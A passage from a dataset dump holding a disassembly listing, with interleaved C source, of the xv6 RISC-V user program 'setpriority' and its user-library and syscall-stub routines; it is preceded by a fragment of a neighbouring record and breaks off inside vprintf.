39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
32.714876
2,999
0.655046
e6bba6baac689a6d438b0c021031a607b8bfd3c1
40,605
asm
Assembly
user/setpriority.asm
Parth0248/Enhancing-xv6-OS
c7fd68a1a70bca10d4172d017a6788bce139e5e1
[ "MIT-0" ]
1
2021-11-12T10:44:36.000Z
2021-11-12T10:44:36.000Z
user/setpriority.asm
Parth0248/Enhancing-xv6-OS
c7fd68a1a70bca10d4172d017a6788bce139e5e1
[ "MIT-0" ]
null
null
null
user/setpriority.asm
Parth0248/Enhancing-xv6-OS
c7fd68a1a70bca10d4172d017a6788bce139e5e1
[ "MIT-0" ]
null
null
null
user/_setpriority: file format elf64-littleriscv Disassembly of section .text: 0000000000000000 <main>: #include "kernel/types.h" #include "kernel/stat.h" #include "user/user.h" int main(int argc, char *argv[]) { 0: 1101 addi sp,sp,-32 2: ec06 sd ra,24(sp) 4: e822 sd s0,16(sp) 6: e426 sd s1,8(sp) 8: e04a sd s2,0(sp) a: 1000 addi s0,sp,32 int priority, pid; if (argc != 3) c: 478d li a5,3 e: 02f50063 beq a0,a5,2e <main+0x2e> { fprintf(2, "usage: setpriority priority pid\n"); 12: 00001597 auipc a1,0x1 16: 80e58593 addi a1,a1,-2034 # 820 <malloc+0xe8> 1a: 4509 li a0,2 1c: 00000097 auipc ra,0x0 20: 630080e7 jalr 1584(ra) # 64c <fprintf> exit(1); 24: 4505 li a0,1 26: 00000097 auipc ra,0x0 2a: 2cc080e7 jalr 716(ra) # 2f2 <exit> 2e: 84ae mv s1,a1 } priority = atoi(argv[1]); 30: 6588 ld a0,8(a1) 32: 00000097 auipc ra,0x0 36: 1c0080e7 jalr 448(ra) # 1f2 <atoi> 3a: 892a mv s2,a0 pid = atoi(argv[2]); 3c: 6888 ld a0,16(s1) 3e: 00000097 auipc ra,0x0 42: 1b4080e7 jalr 436(ra) # 1f2 <atoi> 46: 85aa mv a1,a0 if (set_priority(priority, pid) < 0) 48: 854a mv a0,s2 4a: 00000097 auipc ra,0x0 4e: 350080e7 jalr 848(ra) # 39a <set_priority> 52: 00054763 bltz a0,60 <main+0x60> { fprintf(2, "setpriority failed\n"); exit(1); } exit(0); 56: 4501 li a0,0 58: 00000097 auipc ra,0x0 5c: 29a080e7 jalr 666(ra) # 2f2 <exit> fprintf(2, "setpriority failed\n"); 60: 00000597 auipc a1,0x0 64: 7e858593 addi a1,a1,2024 # 848 <malloc+0x110> 68: 4509 li a0,2 6a: 00000097 auipc ra,0x0 6e: 5e2080e7 jalr 1506(ra) # 64c <fprintf> exit(1); 72: 4505 li a0,1 74: 00000097 auipc ra,0x0 78: 27e080e7 jalr 638(ra) # 2f2 <exit> 000000000000007c <strcpy>: #include "kernel/fcntl.h" #include "user/user.h" char* strcpy(char *s, const char *t) { 7c: 1141 addi sp,sp,-16 7e: e422 sd s0,8(sp) 80: 0800 addi s0,sp,16 char *os; os = s; while((*s++ = *t++) != 0) 82: 87aa mv a5,a0 84: 0585 addi a1,a1,1 86: 0785 addi a5,a5,1 88: fff5c703 lbu a4,-1(a1) 8c: fee78fa3 sb a4,-1(a5) 90: fb75 bnez a4,84 <strcpy+0x8> ; return os; } 92: 6422 ld s0,8(sp) 94: 0141 addi sp,sp,16 96: 8082 ret 0000000000000098 <strcmp>: int strcmp(const char *p, const char *q) { 98: 1141 addi sp,sp,-16 9a: e422 sd s0,8(sp) 9c: 0800 addi s0,sp,16 while(*p && *p == *q) 9e: 00054783 lbu a5,0(a0) a2: cb91 beqz a5,b6 <strcmp+0x1e> a4: 0005c703 lbu a4,0(a1) a8: 00f71763 bne a4,a5,b6 <strcmp+0x1e> p++, q++; ac: 0505 addi a0,a0,1 ae: 0585 addi a1,a1,1 while(*p && *p == *q) b0: 00054783 lbu a5,0(a0) b4: fbe5 bnez a5,a4 <strcmp+0xc> return (uchar)*p - (uchar)*q; b6: 0005c503 lbu a0,0(a1) } ba: 40a7853b subw a0,a5,a0 be: 6422 ld s0,8(sp) c0: 0141 addi sp,sp,16 c2: 8082 ret 00000000000000c4 <strlen>: uint strlen(const char *s) { c4: 1141 addi sp,sp,-16 c6: e422 sd s0,8(sp) c8: 0800 addi s0,sp,16 int n; for(n = 0; s[n]; n++) ca: 00054783 lbu a5,0(a0) ce: cf91 beqz a5,ea <strlen+0x26> d0: 0505 addi a0,a0,1 d2: 87aa mv a5,a0 d4: 4685 li a3,1 d6: 9e89 subw a3,a3,a0 d8: 00f6853b addw a0,a3,a5 dc: 0785 addi a5,a5,1 de: fff7c703 lbu a4,-1(a5) e2: fb7d bnez a4,d8 <strlen+0x14> ; return n; } e4: 6422 ld s0,8(sp) e6: 0141 addi sp,sp,16 e8: 8082 ret for(n = 0; s[n]; n++) ea: 4501 li a0,0 ec: bfe5 j e4 <strlen+0x20> 00000000000000ee <memset>: void* memset(void *dst, int c, uint n) { ee: 1141 addi sp,sp,-16 f0: e422 sd s0,8(sp) f2: 0800 addi s0,sp,16 char *cdst = (char *) dst; int i; for(i = 0; i < n; i++){ f4: ce09 beqz a2,10e <memset+0x20> f6: 87aa mv a5,a0 f8: fff6071b addiw a4,a2,-1 fc: 1702 slli a4,a4,0x20 fe: 9301 srli a4,a4,0x20 100: 0705 addi a4,a4,1 102: 972a add a4,a4,a0 cdst[i] = c; 104: 00b78023 sb a1,0(a5) for(i = 0; i < n; i++){ 108: 0785 addi a5,a5,1 10a: fee79de3 bne a5,a4,104 <memset+0x16> } return dst; } 10e: 6422 ld s0,8(sp) 110: 0141 addi sp,sp,16 112: 8082 ret 0000000000000114 <strchr>: char* strchr(const char *s, char c) { 114: 1141 addi sp,sp,-16 116: e422 sd s0,8(sp) 118: 0800 addi s0,sp,16 for(; *s; s++) 11a: 00054783 lbu a5,0(a0) 11e: cb99 beqz a5,134 <strchr+0x20> if(*s == c) 120: 00f58763 beq a1,a5,12e <strchr+0x1a> for(; *s; s++) 124: 0505 addi a0,a0,1 126: 00054783 lbu a5,0(a0) 12a: fbfd bnez a5,120 <strchr+0xc> return (char*)s; return 0; 12c: 4501 li a0,0 } 12e: 6422 ld s0,8(sp) 130: 0141 addi sp,sp,16 132: 8082 ret return 0; 134: 4501 li a0,0 136: bfe5 j 12e <strchr+0x1a> 0000000000000138 <gets>: char* gets(char *buf, int max) { 138: 711d addi sp,sp,-96 13a: ec86 sd ra,88(sp) 13c: e8a2 sd s0,80(sp) 13e: e4a6 sd s1,72(sp) 140: e0ca sd s2,64(sp) 142: fc4e sd s3,56(sp) 144: f852 sd s4,48(sp) 146: f456 sd s5,40(sp) 148: f05a sd s6,32(sp) 14a: ec5e sd s7,24(sp) 14c: 1080 addi s0,sp,96 14e: 8baa mv s7,a0 150: 8a2e mv s4,a1 int i, cc; char c; for(i=0; i+1 < max; ){ 152: 892a mv s2,a0 154: 4481 li s1,0 cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 156: 4aa9 li s5,10 158: 4b35 li s6,13 for(i=0; i+1 < max; ){ 15a: 89a6 mv s3,s1 15c: 2485 addiw s1,s1,1 15e: 0344d863 bge s1,s4,18e <gets+0x56> cc = read(0, &c, 1); 162: 4605 li a2,1 164: faf40593 addi a1,s0,-81 168: 4501 li a0,0 16a: 00000097 auipc ra,0x0 16e: 1a0080e7 jalr 416(ra) # 30a <read> if(cc < 1) 172: 00a05e63 blez a0,18e <gets+0x56> buf[i++] = c; 176: faf44783 lbu a5,-81(s0) 17a: 00f90023 sb a5,0(s2) if(c == '\n' || c == '\r') 17e: 01578763 beq a5,s5,18c <gets+0x54> 182: 0905 addi s2,s2,1 184: fd679be3 bne a5,s6,15a <gets+0x22> for(i=0; i+1 < max; ){ 188: 89a6 mv s3,s1 18a: a011 j 18e <gets+0x56> 18c: 89a6 mv s3,s1 break; } buf[i] = '\0'; 18e: 99de add s3,s3,s7 190: 00098023 sb zero,0(s3) return buf; } 194: 855e mv a0,s7 196: 60e6 ld ra,88(sp) 198: 6446 ld s0,80(sp) 19a: 64a6 ld s1,72(sp) 19c: 6906 ld s2,64(sp) 19e: 79e2 ld s3,56(sp) 1a0: 7a42 ld s4,48(sp) 1a2: 7aa2 ld s5,40(sp) 1a4: 7b02 ld s6,32(sp) 1a6: 6be2 ld s7,24(sp) 1a8: 6125 addi sp,sp,96 1aa: 8082 ret 00000000000001ac <stat>: int stat(const char *n, struct stat *st) { 1ac: 1101 addi sp,sp,-32 1ae: ec06 sd ra,24(sp) 1b0: e822 sd s0,16(sp) 1b2: e426 sd s1,8(sp) 1b4: e04a sd s2,0(sp) 1b6: 1000 addi s0,sp,32 1b8: 892e mv s2,a1 int fd; int r; fd = open(n, O_RDONLY); 1ba: 4581 li a1,0 1bc: 00000097 auipc ra,0x0 1c0: 176080e7 jalr 374(ra) # 332 <open> if(fd < 0) 1c4: 02054563 bltz a0,1ee <stat+0x42> 1c8: 84aa mv s1,a0 return -1; r = fstat(fd, st); 1ca: 85ca mv a1,s2 1cc: 00000097 auipc ra,0x0 1d0: 17e080e7 jalr 382(ra) # 34a <fstat> 1d4: 892a mv s2,a0 close(fd); 1d6: 8526 mv a0,s1 1d8: 00000097 auipc ra,0x0 1dc: 142080e7 jalr 322(ra) # 31a <close> return r; } 1e0: 854a mv a0,s2 1e2: 60e2 ld ra,24(sp) 1e4: 6442 ld s0,16(sp) 1e6: 64a2 ld s1,8(sp) 1e8: 6902 ld s2,0(sp) 1ea: 6105 addi sp,sp,32 1ec: 8082 ret return -1; 1ee: 597d li s2,-1 1f0: bfc5 j 1e0 <stat+0x34> 00000000000001f2 <atoi>: int atoi(const char *s) { 1f2: 1141 addi sp,sp,-16 1f4: e422 sd s0,8(sp) 1f6: 0800 addi s0,sp,16 int n; n = 0; while('0' <= *s && *s <= '9') 1f8: 00054603 lbu a2,0(a0) 1fc: fd06079b addiw a5,a2,-48 200: 0ff7f793 andi a5,a5,255 204: 4725 li a4,9 206: 02f76963 bltu a4,a5,238 <atoi+0x46> 20a: 86aa mv a3,a0 n = 0; 20c: 4501 li a0,0 while('0' <= *s && *s <= '9') 20e: 45a5 li a1,9 n = n*10 + *s++ - '0'; 210: 0685 addi a3,a3,1 212: 0025179b slliw a5,a0,0x2 216: 9fa9 addw a5,a5,a0 218: 0017979b slliw a5,a5,0x1 21c: 9fb1 addw a5,a5,a2 21e: fd07851b addiw a0,a5,-48 while('0' <= *s && *s <= '9') 222: 0006c603 lbu a2,0(a3) 226: fd06071b addiw a4,a2,-48 22a: 0ff77713 andi a4,a4,255 22e: fee5f1e3 bgeu a1,a4,210 <atoi+0x1e> return n; } 232: 6422 ld s0,8(sp) 234: 0141 addi sp,sp,16 236: 8082 ret n = 0; 238: 4501 li a0,0 23a: bfe5 j 232 <atoi+0x40> 000000000000023c <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 23c: 1141 addi sp,sp,-16 23e: e422 sd s0,8(sp) 240: 0800 addi s0,sp,16 char *dst; const char *src; dst = vdst; src = vsrc; if (src > dst) { 242: 02b57663 bgeu a0,a1,26e <memmove+0x32> while(n-- > 0) 246: 02c05163 blez a2,268 <memmove+0x2c> 24a: fff6079b addiw a5,a2,-1 24e: 1782 slli a5,a5,0x20 250: 9381 srli a5,a5,0x20 252: 0785 addi a5,a5,1 254: 97aa add a5,a5,a0 dst = vdst; 256: 872a mv a4,a0 *dst++ = *src++; 258: 0585 addi a1,a1,1 25a: 0705 addi a4,a4,1 25c: fff5c683 lbu a3,-1(a1) 260: fed70fa3 sb a3,-1(a4) while(n-- > 0) 264: fee79ae3 bne a5,a4,258 <memmove+0x1c> src += n; while(n-- > 0) *--dst = *--src; } return vdst; } 268: 6422 ld s0,8(sp) 26a: 0141 addi sp,sp,16 26c: 8082 ret dst += n; 26e: 00c50733 add a4,a0,a2 src += n; 272: 95b2 add a1,a1,a2 while(n-- > 0) 274: fec05ae3 blez a2,268 <memmove+0x2c> 278: fff6079b addiw a5,a2,-1 27c: 1782 slli a5,a5,0x20 27e: 9381 srli a5,a5,0x20 280: fff7c793 not a5,a5 284: 97ba add a5,a5,a4 *--dst = *--src; 286: 15fd addi a1,a1,-1 288: 177d addi a4,a4,-1 28a: 0005c683 lbu a3,0(a1) 28e: 00d70023 sb a3,0(a4) while(n-- > 0) 292: fee79ae3 bne a5,a4,286 <memmove+0x4a> 296: bfc9 j 268 <memmove+0x2c> 0000000000000298 <memcmp>: int memcmp(const void *s1, const void *s2, uint n) { 298: 1141 addi sp,sp,-16 29a: e422 sd s0,8(sp) 29c: 0800 addi s0,sp,16 const char *p1 = s1, *p2 = s2; while (n-- > 0) { 29e: ca05 beqz a2,2ce <memcmp+0x36> 2a0: fff6069b addiw a3,a2,-1 2a4: 1682 slli a3,a3,0x20 2a6: 9281 srli a3,a3,0x20 2a8: 0685 addi a3,a3,1 2aa: 96aa add a3,a3,a0 if (*p1 != *p2) { 2ac: 00054783 lbu a5,0(a0) 2b0: 0005c703 lbu a4,0(a1) 2b4: 00e79863 bne a5,a4,2c4 <memcmp+0x2c> return *p1 - *p2; } p1++; 2b8: 0505 addi a0,a0,1 p2++; 2ba: 0585 addi a1,a1,1 while (n-- > 0) { 2bc: fed518e3 bne a0,a3,2ac <memcmp+0x14> } return 0; 2c0: 4501 li a0,0 2c2: a019 j 2c8 <memcmp+0x30> return *p1 - *p2; 2c4: 40e7853b subw a0,a5,a4 } 2c8: 6422 ld s0,8(sp) 2ca: 0141 addi sp,sp,16 2cc: 8082 ret return 0; 2ce: 4501 li a0,0 2d0: bfe5 j 2c8 <memcmp+0x30> 00000000000002d2 <memcpy>: void * memcpy(void *dst, const void *src, uint n) { 2d2: 1141 addi sp,sp,-16 2d4: e406 sd ra,8(sp) 2d6: e022 sd s0,0(sp) 2d8: 0800 addi s0,sp,16 return memmove(dst, src, n); 2da: 00000097 auipc ra,0x0 2de: f62080e7 jalr -158(ra) # 23c <memmove> } 2e2: 60a2 ld ra,8(sp) 2e4: 6402 ld s0,0(sp) 2e6: 0141 addi sp,sp,16 2e8: 8082 ret 00000000000002ea <fork>: # generated by usys.pl - do not edit #include "kernel/syscall.h" .global fork fork: li a7, SYS_fork 2ea: 4885 li a7,1 ecall 2ec: 00000073 ecall ret 2f0: 8082 ret 00000000000002f2 <exit>: .global exit exit: li a7, SYS_exit 2f2: 4889 li a7,2 ecall 2f4: 00000073 ecall ret 2f8: 8082 ret 00000000000002fa <wait>: .global wait wait: li a7, SYS_wait 2fa: 488d li a7,3 ecall 2fc: 00000073 ecall ret 300: 8082 ret 0000000000000302 <pipe>: .global pipe pipe: li a7, SYS_pipe 302: 4891 li a7,4 ecall 304: 00000073 ecall ret 308: 8082 ret 000000000000030a <read>: .global read read: li a7, SYS_read 30a: 4895 li a7,5 ecall 30c: 00000073 ecall ret 310: 8082 ret 0000000000000312 <write>: .global write write: li a7, SYS_write 312: 48c1 li a7,16 ecall 314: 00000073 ecall ret 318: 8082 ret 000000000000031a <close>: .global close close: li a7, SYS_close 31a: 48d5 li a7,21 ecall 31c: 00000073 ecall ret 320: 8082 ret 0000000000000322 <kill>: .global kill kill: li a7, SYS_kill 322: 4899 li a7,6 ecall 324: 00000073 ecall ret 328: 8082 ret 000000000000032a <exec>: .global exec exec: li a7, SYS_exec 32a: 489d li a7,7 ecall 32c: 00000073 ecall ret 330: 8082 ret 0000000000000332 <open>: .global open open: li a7, SYS_open 332: 48bd li a7,15 ecall 334: 00000073 ecall ret 338: 8082 ret 000000000000033a <mknod>: .global mknod mknod: li a7, SYS_mknod 33a: 48c5 li a7,17 ecall 33c: 00000073 ecall ret 340: 8082 ret 0000000000000342 <unlink>: .global unlink unlink: li a7, SYS_unlink 342: 48c9 li a7,18 ecall 344: 00000073 ecall ret 348: 8082 ret 000000000000034a <fstat>: .global fstat fstat: li a7, SYS_fstat 34a: 48a1 li a7,8 ecall 34c: 00000073 ecall ret 350: 8082 ret 0000000000000352 <link>: .global link link: li a7, SYS_link 352: 48cd li a7,19 ecall 354: 00000073 ecall ret 358: 8082 ret 000000000000035a <mkdir>: .global mkdir mkdir: li a7, SYS_mkdir 35a: 48d1 li a7,20 ecall 35c: 00000073 ecall ret 360: 8082 ret 0000000000000362 <chdir>: .global chdir chdir: li a7, SYS_chdir 362: 48a5 li a7,9 ecall 364: 00000073 ecall ret 368: 8082 ret 000000000000036a <dup>: .global dup dup: li a7, SYS_dup 36a: 48a9 li a7,10 ecall 36c: 00000073 ecall ret 370: 8082 ret 0000000000000372 <getpid>: .global getpid getpid: li a7, SYS_getpid 372: 48ad li a7,11 ecall 374: 00000073 ecall ret 378: 8082 ret 000000000000037a <sbrk>: .global sbrk sbrk: li a7, SYS_sbrk 37a: 48b1 li a7,12 ecall 37c: 00000073 ecall ret 380: 8082 ret 0000000000000382 <sleep>: .global sleep sleep: li a7, SYS_sleep 382: 48b5 li a7,13 ecall 384: 00000073 ecall ret 388: 8082 ret 000000000000038a <uptime>: .global uptime uptime: li a7, SYS_uptime 38a: 48b9 li a7,14 ecall 38c: 00000073 ecall ret 390: 8082 ret 0000000000000392 <trace>: .global trace trace: li a7, SYS_trace 392: 48d9 li a7,22 ecall 394: 00000073 ecall ret 398: 8082 ret 000000000000039a <set_priority>: .global set_priority set_priority: li a7, SYS_set_priority 39a: 48dd li a7,23 ecall 39c: 00000073 ecall ret 3a0: 8082 ret 00000000000003a2 <putc>: static char digits[] = "0123456789ABCDEF"; static void putc(int fd, char c) { 3a2: 1101 addi sp,sp,-32 3a4: ec06 sd ra,24(sp) 3a6: e822 sd s0,16(sp) 3a8: 1000 addi s0,sp,32 3aa: feb407a3 sb a1,-17(s0) write(fd, &c, 1); 3ae: 4605 li a2,1 3b0: fef40593 addi a1,s0,-17 3b4: 00000097 auipc ra,0x0 3b8: f5e080e7 jalr -162(ra) # 312 <write> } 3bc: 60e2 ld ra,24(sp) 3be: 6442 ld s0,16(sp) 3c0: 6105 addi sp,sp,32 3c2: 8082 ret 00000000000003c4 <printint>: static void printint(int fd, int xx, int base, int sgn) { 3c4: 7139 addi sp,sp,-64 3c6: fc06 sd ra,56(sp) 3c8: f822 sd s0,48(sp) 3ca: f426 sd s1,40(sp) 3cc: f04a sd s2,32(sp) 3ce: ec4e sd s3,24(sp) 3d0: 0080 addi s0,sp,64 3d2: 84aa mv s1,a0 char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 3d4: c299 beqz a3,3da <printint+0x16> 3d6: 0805c863 bltz a1,466 <printint+0xa2> neg = 1; x = -xx; } else { x = xx; 3da: 2581 sext.w a1,a1 neg = 0; 3dc: 4881 li a7,0 3de: fc040693 addi a3,s0,-64 } i = 0; 3e2: 4701 li a4,0 do{ buf[i++] = digits[x % base]; 3e4: 2601 sext.w a2,a2 3e6: 00000517 auipc a0,0x0 3ea: 48250513 addi a0,a0,1154 # 868 <digits> 3ee: 883a mv a6,a4 3f0: 2705 addiw a4,a4,1 3f2: 02c5f7bb remuw a5,a1,a2 3f6: 1782 slli a5,a5,0x20 3f8: 9381 srli a5,a5,0x20 3fa: 97aa add a5,a5,a0 3fc: 0007c783 lbu a5,0(a5) 400: 00f68023 sb a5,0(a3) }while((x /= base) != 0); 404: 0005879b sext.w a5,a1 408: 02c5d5bb divuw a1,a1,a2 40c: 0685 addi a3,a3,1 40e: fec7f0e3 bgeu a5,a2,3ee <printint+0x2a> if(neg) 412: 00088b63 beqz a7,428 <printint+0x64> buf[i++] = '-'; 416: fd040793 addi a5,s0,-48 41a: 973e add a4,a4,a5 41c: 02d00793 li a5,45 420: fef70823 sb a5,-16(a4) 424: 0028071b addiw a4,a6,2 while(--i >= 0) 428: 02e05863 blez a4,458 <printint+0x94> 42c: fc040793 addi a5,s0,-64 430: 00e78933 add s2,a5,a4 434: fff78993 addi s3,a5,-1 438: 99ba add s3,s3,a4 43a: 377d addiw a4,a4,-1 43c: 1702 slli a4,a4,0x20 43e: 9301 srli a4,a4,0x20 440: 40e989b3 sub s3,s3,a4 putc(fd, buf[i]); 444: fff94583 lbu a1,-1(s2) 448: 8526 mv a0,s1 44a: 00000097 auipc ra,0x0 44e: f58080e7 jalr -168(ra) # 3a2 <putc> while(--i >= 0) 452: 197d addi s2,s2,-1 454: ff3918e3 bne s2,s3,444 <printint+0x80> } 458: 70e2 ld ra,56(sp) 45a: 7442 ld s0,48(sp) 45c: 74a2 ld s1,40(sp) 45e: 7902 ld s2,32(sp) 460: 69e2 ld s3,24(sp) 462: 6121 addi sp,sp,64 464: 8082 ret x = -xx; 466: 40b005bb negw a1,a1 neg = 1; 46a: 4885 li a7,1 x = -xx; 46c: bf8d j 3de <printint+0x1a> 000000000000046e <vprintf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void vprintf(int fd, const char *fmt, va_list ap) { 46e: 7119 addi sp,sp,-128 470: fc86 sd ra,120(sp) 472: f8a2 sd s0,112(sp) 474: f4a6 sd s1,104(sp) 476: f0ca sd s2,96(sp) 478: ecce sd s3,88(sp) 47a: e8d2 sd s4,80(sp) 47c: e4d6 sd s5,72(sp) 47e: e0da sd s6,64(sp) 480: fc5e sd s7,56(sp) 482: f862 sd s8,48(sp) 484: f466 sd s9,40(sp) 486: f06a sd s10,32(sp) 488: ec6e sd s11,24(sp) 48a: 0100 addi s0,sp,128 char *s; int c, i, state; state = 0; for(i = 0; fmt[i]; i++){ 48c: 0005c903 lbu s2,0(a1) 490: 18090f63 beqz s2,62e <vprintf+0x1c0> 494: 8aaa mv s5,a0 496: 8b32 mv s6,a2 498: 00158493 addi s1,a1,1 state = 0; 49c: 4981 li s3,0 if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 49e: 02500a13 li s4,37 if(c == 'd'){ 4a2: 06400c13 li s8,100 printint(fd, va_arg(ap, int), 10, 1); } else if(c == 'l') { 4a6: 06c00c93 li s9,108 printint(fd, va_arg(ap, uint64), 10, 0); } else if(c == 'x') { 4aa: 07800d13 li s10,120 printint(fd, va_arg(ap, int), 16, 0); } else if(c == 'p') { 4ae: 07000d93 li s11,112 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 4b2: 00000b97 auipc s7,0x0 4b6: 3b6b8b93 addi s7,s7,950 # 868 <digits> 4ba: a839 j 4d8 <vprintf+0x6a> putc(fd, c); 4bc: 85ca mv a1,s2 4be: 8556 mv a0,s5 4c0: 00000097 auipc ra,0x0 4c4: ee2080e7 jalr -286(ra) # 3a2 <putc> 4c8: a019 j 4ce <vprintf+0x60> } else if(state == '%'){ 4ca: 01498f63 beq s3,s4,4e8 <vprintf+0x7a> for(i = 0; fmt[i]; i++){ 4ce: 0485 addi s1,s1,1 4d0: fff4c903 lbu s2,-1(s1) 4d4: 14090d63 beqz s2,62e <vprintf+0x1c0> c = fmt[i] & 0xff; 4d8: 0009079b sext.w a5,s2 if(state == 0){ 4dc: fe0997e3 bnez s3,4ca <vprintf+0x5c> if(c == '%'){ 4e0: fd479ee3 bne a5,s4,4bc <vprintf+0x4e> state = '%'; 4e4: 89be mv s3,a5 4e6: b7e5 j 4ce <vprintf+0x60> if(c == 'd'){ 4e8: 05878063 beq a5,s8,528 <vprintf+0xba> } else if(c == 'l') { 4ec: 05978c63 beq a5,s9,544 <vprintf+0xd6> } else if(c == 'x') { 4f0: 07a78863 beq a5,s10,560 <vprintf+0xf2> } else if(c == 'p') { 4f4: 09b78463 beq a5,s11,57c <vprintf+0x10e> printptr(fd, va_arg(ap, uint64)); } else if(c == 's'){ 4f8: 07300713 li a4,115 4fc: 0ce78663 beq a5,a4,5c8 <vprintf+0x15a> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 500: 06300713 li a4,99 504: 0ee78e63 beq a5,a4,600 <vprintf+0x192> putc(fd, va_arg(ap, uint)); } else if(c == '%'){ 508: 11478863 beq a5,s4,618 <vprintf+0x1aa> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 50c: 85d2 mv a1,s4 50e: 8556 mv a0,s5 510: 00000097 auipc ra,0x0 514: e92080e7 jalr -366(ra) # 3a2 <putc> putc(fd, c); 518: 85ca mv a1,s2 51a: 8556 mv a0,s5 51c: 00000097 auipc ra,0x0 520: e86080e7 jalr -378(ra) # 3a2 <putc> } state = 0; 524: 4981 li s3,0 526: b765 j 4ce <vprintf+0x60> printint(fd, va_arg(ap, int), 10, 1); 528: 008b0913 addi s2,s6,8 52c: 4685 li a3,1 52e: 4629 li a2,10 530: 000b2583 lw a1,0(s6) 534: 8556 mv a0,s5 536: 00000097 auipc ra,0x0 53a: e8e080e7 jalr -370(ra) # 3c4 <printint> 53e: 8b4a mv s6,s2 state = 0; 540: 4981 li s3,0 542: b771 j 4ce <vprintf+0x60> printint(fd, va_arg(ap, uint64), 10, 0); 544: 008b0913 addi s2,s6,8 548: 4681 li a3,0 54a: 4629 li a2,10 54c: 000b2583 lw a1,0(s6) 550: 8556 mv a0,s5 552: 00000097 auipc ra,0x0 556: e72080e7 jalr -398(ra) # 3c4 <printint> 55a: 8b4a mv s6,s2 state = 0; 55c: 4981 li s3,0 55e: bf85 j 4ce <vprintf+0x60> printint(fd, va_arg(ap, int), 16, 0); 560: 008b0913 addi s2,s6,8 564: 4681 li a3,0 566: 4641 li a2,16 568: 000b2583 lw a1,0(s6) 56c: 8556 mv a0,s5 56e: 00000097 auipc ra,0x0 572: e56080e7 jalr -426(ra) # 3c4 <printint> 576: 8b4a mv s6,s2 state = 0; 578: 4981 li s3,0 57a: bf91 j 4ce <vprintf+0x60> printptr(fd, va_arg(ap, uint64)); 57c: 008b0793 addi a5,s6,8 580: f8f43423 sd a5,-120(s0) 584: 000b3983 ld s3,0(s6) putc(fd, '0'); 588: 03000593 li a1,48 58c: 8556 mv a0,s5 58e: 00000097 auipc ra,0x0 592: e14080e7 jalr -492(ra) # 3a2 <putc> putc(fd, 'x'); 596: 85ea mv a1,s10 598: 8556 mv a0,s5 59a: 00000097 auipc ra,0x0 59e: e08080e7 jalr -504(ra) # 3a2 <putc> 5a2: 4941 li s2,16 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 5a4: 03c9d793 srli a5,s3,0x3c 5a8: 97de add a5,a5,s7 5aa: 0007c583 lbu a1,0(a5) 5ae: 8556 mv a0,s5 5b0: 00000097 auipc ra,0x0 5b4: df2080e7 jalr -526(ra) # 3a2 <putc> for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4) 5b8: 0992 slli s3,s3,0x4 5ba: 397d addiw s2,s2,-1 5bc: fe0914e3 bnez s2,5a4 <vprintf+0x136> printptr(fd, va_arg(ap, uint64)); 5c0: f8843b03 ld s6,-120(s0) state = 0; 5c4: 4981 li s3,0 5c6: b721 j 4ce <vprintf+0x60> s = va_arg(ap, 